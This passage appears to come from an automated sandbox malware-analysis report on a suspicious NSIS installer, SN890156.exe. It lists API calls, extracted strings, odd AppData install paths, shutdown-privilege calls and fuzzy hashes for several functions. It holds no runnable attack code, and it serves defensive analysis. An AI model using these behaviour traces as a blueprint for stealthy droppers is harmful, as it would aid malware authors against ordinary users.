GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 0040348F
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034A0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034AC
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034C0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034C8
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004034D9
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004034E1
DeleteFileW.KERNELBASE(1033), ref: 004034F5

Part of subcall function 0040601F: lstrcpynW.KERNEL32(00409300,00409300,00000400,0040331A,00428220,NSIS Error), ref: 0040602C

OleUninitialize.OLE32(?), ref: 004035C0
ExitProcess.KERNEL32 ref: 004035E2
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SN890156.exe",00000000,?), ref: 004035F5
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040926C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SN890156.exe",00000000,?), ref: 00403604
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SN890156.exe",00000000,?), ref: 0040360F
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SN890156.exe",00000000,?), ref: 0040361B
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403637
DeleteFileW.KERNEL32(0041FEC8,0041FEC8,?,0042A000,?), ref: 00403691
CopyFileW.KERNEL32(00437800,0041FEC8,00000001), ref: 004036A5
CloseHandle.KERNEL32(00000000,0041FEC8,0041FEC8,?,0041FEC8,00000000), ref: 004036D2
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403701
OpenProcessToken.ADVAPI32(00000000), ref: 00403708
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040371D
AdjustTokenPrivileges.ADVAPI32 ref: 00403740
ExitWindowsEx.USER32(00000002,80040002), ref: 00403765
ExitProcess.KERNEL32 ref: 00403788

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403484, 00403489, 0040349F, 004034AB, 004034BA, 004034C7, 004034D3, 004034DB, 004035F2, 00403603, 0040360E, 0040361A, 00403627, 00403636, 004036E7
SeShutdownPrivilege, xrefs: 00403717
"C:\Users\user\Desktop\SN890156.exe", xrefs: 00403320, 00403326, 0040351D
C:\Users\user\Desktop, xrefs: 00403614, 00403619, 00403646
USERENV, xrefs: 004032BB
~nsu, xrefs: 004035ED
Low, xrefs: 004034C2
NSIS Error, xrefs: 0040330B
Error launching installer, xrefs: 00403577
\Temp, xrefs: 004034A6
TEMP, xrefs: 004034D4
UXTHEME, xrefs: 004032B1
C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede, xrefs: 00403472, 00403592, 0040363D, 00403647
1033, xrefs: 004034F0
SETUPAPI, xrefs: 004032C5
TMP, xrefs: 004034DC
C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft, xrefs: 0040359D
.tmp, xrefs: 00403609

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\SN890156.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede$C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft$C:\Users\user\Desktop$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-615136776
Opcode ID: 18b875ca129c5a4b12c60ae53fdc6c4b39169b05244e9a0f0d81940a8b3f60a9
Instruction ID: 47b2dd04bf5340fec55df09ad24e258ddf9dfe897e1895205e314fce2ef220c4
Opcode Fuzzy Hash: 18b875ca129c5a4b12c60ae53fdc6c4b39169b05244e9a0f0d81940a8b3f60a9
Instruction Fuzzy Hash: 08D12770604200BAD720BF659D49A3B3AACEB4170AF50487FF441B61D2DB7D9941CB6E

Function 004052BD Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040531B
GetDlgItem.USER32(?,000003EE), ref: 0040532A
GetClientRect.USER32(?,?), ref: 00405367
GetSystemMetrics.USER32(00000002), ref: 0040536E
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040538F
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053A0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053B3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053C1
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053D4
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004053F6
ShowWindow.USER32(?,00000008), ref: 0040540A
GetDlgItem.USER32(?,000003EC), ref: 0040542B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040543B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405454
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405460
GetDlgItem.USER32(?,000003F8), ref: 00405339

Part of subcall function 00404118: SendMessageW.USER32(00000028,?,00000001,00403F44), ref: 00404126

GetDlgItem.USER32(?,000003EC), ref: 0040547D
CreateThread.KERNELBASE(00000000,00000000,Function_00005251,00000000), ref: 0040548B
CloseHandle.KERNELBASE(00000000), ref: 00405492
ShowWindow.USER32(00000000), ref: 004054B6
ShowWindow.USER32(?,00000008), ref: 004054BB
ShowWindow.USER32(00000008), ref: 00405505
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405539
CreatePopupMenu.USER32 ref: 0040554A
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040555E
GetWindowRect.USER32(?,?), ref: 0040557E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405597
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055CF
OpenClipboard.USER32(00000000), ref: 004055DF
EmptyClipboard.USER32 ref: 004055E5
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004055F1
GlobalLock.KERNEL32(00000000), ref: 004055FB
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040560F
GlobalUnlock.KERNEL32(00000000), ref: 0040562F
SetClipboardData.USER32(0000000D,00000000), ref: 0040563A
CloseClipboard.USER32 ref: 00405640

Strings

{, xrefs: 00405523

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: da2ca2b418a71cb7626a400892366c561e1cdf4532a0086df1c8728d7d787aa1
Instruction ID: 3cf410e3b9716a944c4f9a47a0d896a4f96f7db2f8ccf501d1eae2c46102dad2
Opcode Fuzzy Hash: da2ca2b418a71cb7626a400892366c561e1cdf4532a0086df1c8728d7d787aa1
Instruction Fuzzy Hash: 85B13A71900208FFDB21AF60DD85AAE7B79FB44355F40803AFA01BA1A0C7755E52DF69

Function 00406041 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,Completed,?,004051B5,Completed,00000000,00000000,0040FEC0), ref: 00406104
GetSystemDirectoryW.KERNEL32(: Completed,00000400), ref: 00406182
GetWindowsDirectoryW.KERNEL32(: Completed,00000400), ref: 00406195
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 004061D1
SHGetPathFromIDListW.SHELL32(?,: Completed), ref: 004061DF
CoTaskMemFree.OLE32(?), ref: 004061EA
lstrcatW.KERNEL32(: Completed,\Microsoft\Internet Explorer\Quick Launch), ref: 0040620E
lstrlenW.KERNEL32(: Completed,00000000,Completed,?,004051B5,Completed,00000000,00000000,0040FEC0), ref: 00406268

Strings

: Completed, xrefs: 0040606B, 0040614B, 0040616C, 00406181, 00406194, 004061B0, 004061DB, 0040620D, 00406213, 0040622D, 00406241, 00406261, 00406267, 00406273, 004062A6
Completed, xrefs: 00406066
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406208
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406150

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: : Completed$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-905382516
Opcode ID: 2cf121e3e7616b5f5fc1bd3774cadb37834e6b4aa39da4076735cc4ba433a86e
Instruction ID: fd30239bcabdd6b9b5dacf38e9278243e7343c89492a0aeb8152419411716c6f
Opcode Fuzzy Hash: 2cf121e3e7616b5f5fc1bd3774cadb37834e6b4aa39da4076735cc4ba433a86e
Instruction Fuzzy Hash: 70614771A00101ABDF209F64CC40AAE37A5AF51314F12817FE916BA2D1D73D89A2CB5E

Function 004066E3 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d5afdfc0dd836d6b0ea96e9b1d1cc0e1a6a0a23e9a334f3c2dfe03cdace4acf
Instruction ID: 25739d06ab219284b51534763859987154442e2999ed31f69dfe775b8bf1d6bb
Opcode Fuzzy Hash: 4d5afdfc0dd836d6b0ea96e9b1d1cc0e1a6a0a23e9a334f3c2dfe03cdace4acf
Instruction Fuzzy Hash: 09F17671D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 00406362 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(75923420,00425758,00424F10,00405B24,00424F10,00424F10,00000000,00424F10,00424F10,75923420,?,C:\Users\user\AppData\Local\Temp\,00405830,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 0040636D
FindClose.KERNEL32(00000000), ref: 00406379

Strings

XWB, xrefs: 00406363

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: XWB
API String ID: 2295610775-4039527733
Opcode ID: 0fc78072580e2aa021d4eb5561dc00c277e918fd128e5e9fad30f275acd9c25d
Instruction ID: b60ab41fd2821b41d0b392bba1ac2053f61c2dcbfada57179e30504603363e2d
Opcode Fuzzy Hash: 0fc78072580e2aa021d4eb5561dc00c277e918fd128e5e9fad30f275acd9c25d
Instruction Fuzzy Hash: BBD0123194C1209FD3401778BD0C88B7B989B553317214B72FD2AF23E0C3388C6586D9

Function 00403C0B Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C47
ShowWindow.USER32(?), ref: 00403C64
DestroyWindow.USER32 ref: 00403C78
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403C94
GetDlgItem.USER32(?,?), ref: 00403CB5
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CC9
IsWindowEnabled.USER32(00000000), ref: 00403CD0
GetDlgItem.USER32(?,00000001), ref: 00403D7E
GetDlgItem.USER32(?,00000002), ref: 00403D88
SetClassLongW.USER32(?,000000F2,?), ref: 00403DA2
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403DF3
GetDlgItem.USER32(?,00000003), ref: 00403E99
ShowWindow.USER32(00000000,?), ref: 00403EBA
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403ECC
EnableWindow.USER32(?,?), ref: 00403EE7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403EFD
EnableMenuItem.USER32(00000000), ref: 00403F04
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F1C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F2F
lstrlenW.KERNEL32(00422708,?,00422708,00428220), ref: 00403F58
SetWindowTextW.USER32(?,00422708), ref: 00403F6C
ShowWindow.USER32(?,0000000A), ref: 004040A0

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 18a99261430c4225635231928db8a64f2f43d3b33d48ccba4c43f88b8e0e4f23
Instruction ID: 61cac7681639d4f9e887145b94be1570fe16d39d0a036e069046cfcd2a92ab20
Opcode Fuzzy Hash: 18a99261430c4225635231928db8a64f2f43d3b33d48ccba4c43f88b8e0e4f23
Instruction Fuzzy Hash: 3BC1C071A04200BBDB316F61ED84E2B3AACEB95705F50053EF601B11F1CB799992DB6E

Function 00403868 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004063F5: GetModuleHandleA.KERNEL32(?,?,00000020,004032D6,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00406407
Part of subcall function 004063F5: GetProcAddress.KERNEL32(00000000,?), ref: 00406422

lstrcatW.KERNEL32(1033,00422708,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422708,00000000,00000002,75923420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\SN890156.exe"), ref: 004038E9
lstrlenW.KERNEL32(: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede,1033,00422708,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422708,00000000,00000002,75923420), ref: 00403969
lstrcmpiW.KERNEL32(?,.exe,: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede,1033,00422708,80000001,Control Panel\Desktop\ResourceLocale,00000000,00422708,00000000), ref: 0040397C
GetFileAttributesW.KERNEL32(: Completed), ref: 00403987
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede), ref: 004039D0

Part of subcall function 00405F66: wsprintfW.USER32 ref: 00405F73

RegisterClassW.USER32(004281C0), ref: 00403A0D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A25
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A5A
ShowWindow.USER32(00000005,00000000), ref: 00403A90
GetClassInfoW.USER32(00000000,RichEdit20W,004281C0), ref: 00403ABC
GetClassInfoW.USER32(00000000,RichEdit,004281C0), ref: 00403AC9
RegisterClassW.USER32(004281C0), ref: 00403AD2
DialogBoxParamW.USER32(?,00000000,00403C0B,00000000), ref: 00403AF1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040386D
: Completed, xrefs: 00403930, 00403939, 00403947, 00403996, 0040399C
Control Panel\Desktop\ResourceLocale, xrefs: 0040389C
"C:\Users\user\Desktop\SN890156.exe", xrefs: 0040386B
RichEd32, xrefs: 00403AA4
RichEdit, xrefs: 00403AC3
.exe, xrefs: 00403976
RichEd20, xrefs: 00403A96
C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede, xrefs: 004038F8, 00403900, 004039A3, 004039A9, 004039B9
1033, xrefs: 00403888, 004038E4
RichEdit20W, xrefs: 00403AB4, 00403ABA
.DEFAULT\Control Panel\International, xrefs: 004038D4
_Nb, xrefs: 004039EC, 00403A54

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\SN890156.exe"$.DEFAULT\Control Panel\International$.exe$1033$: Completed$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1272924352
Opcode ID: db80b2588597b3e26acc2e4c4de499a3f9846f615b8d16b47e4426e139c46013
Instruction ID: 2be98759588b12f3ea5babf1b6ec1a1322f2c31473ef1d4f92accd895ea03b39
Opcode Fuzzy Hash: db80b2588597b3e26acc2e4c4de499a3f9846f615b8d16b47e4426e139c46013
Instruction Fuzzy Hash: C861A670644200BAD220AF669D45F3B3A6CEB84749F80457FF941B22E2CB7C6D01CA7E

Function 00402DEE Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400,?,?,00000000,00403504,?), ref: 00402E1B

Part of subcall function 00405BF4: GetFileAttributesW.KERNELBASE(00000003,00402E2E,00437800,80000000,00000003,?,?,00000000,00403504,?), ref: 00405BF8
Part of subcall function 00405BF4: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,00403504,?), ref: 00405C1A

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,00437800,00437800,80000000,00000003,?,?,00000000,00403504,?), ref: 00402E67

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
"C:\Users\user\Desktop\SN890156.exe", xrefs: 00402DF4
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
Null, xrefs: 00402EE5
soft, xrefs: 00402EDC
Inst, xrefs: 00402ED3
Error launching installer, xrefs: 00402E3E

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\SN890156.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-218867848
Opcode ID: 5c453212d903dc701faa49355209661bb92ff5e6ac37f0c8ac23110231670f15
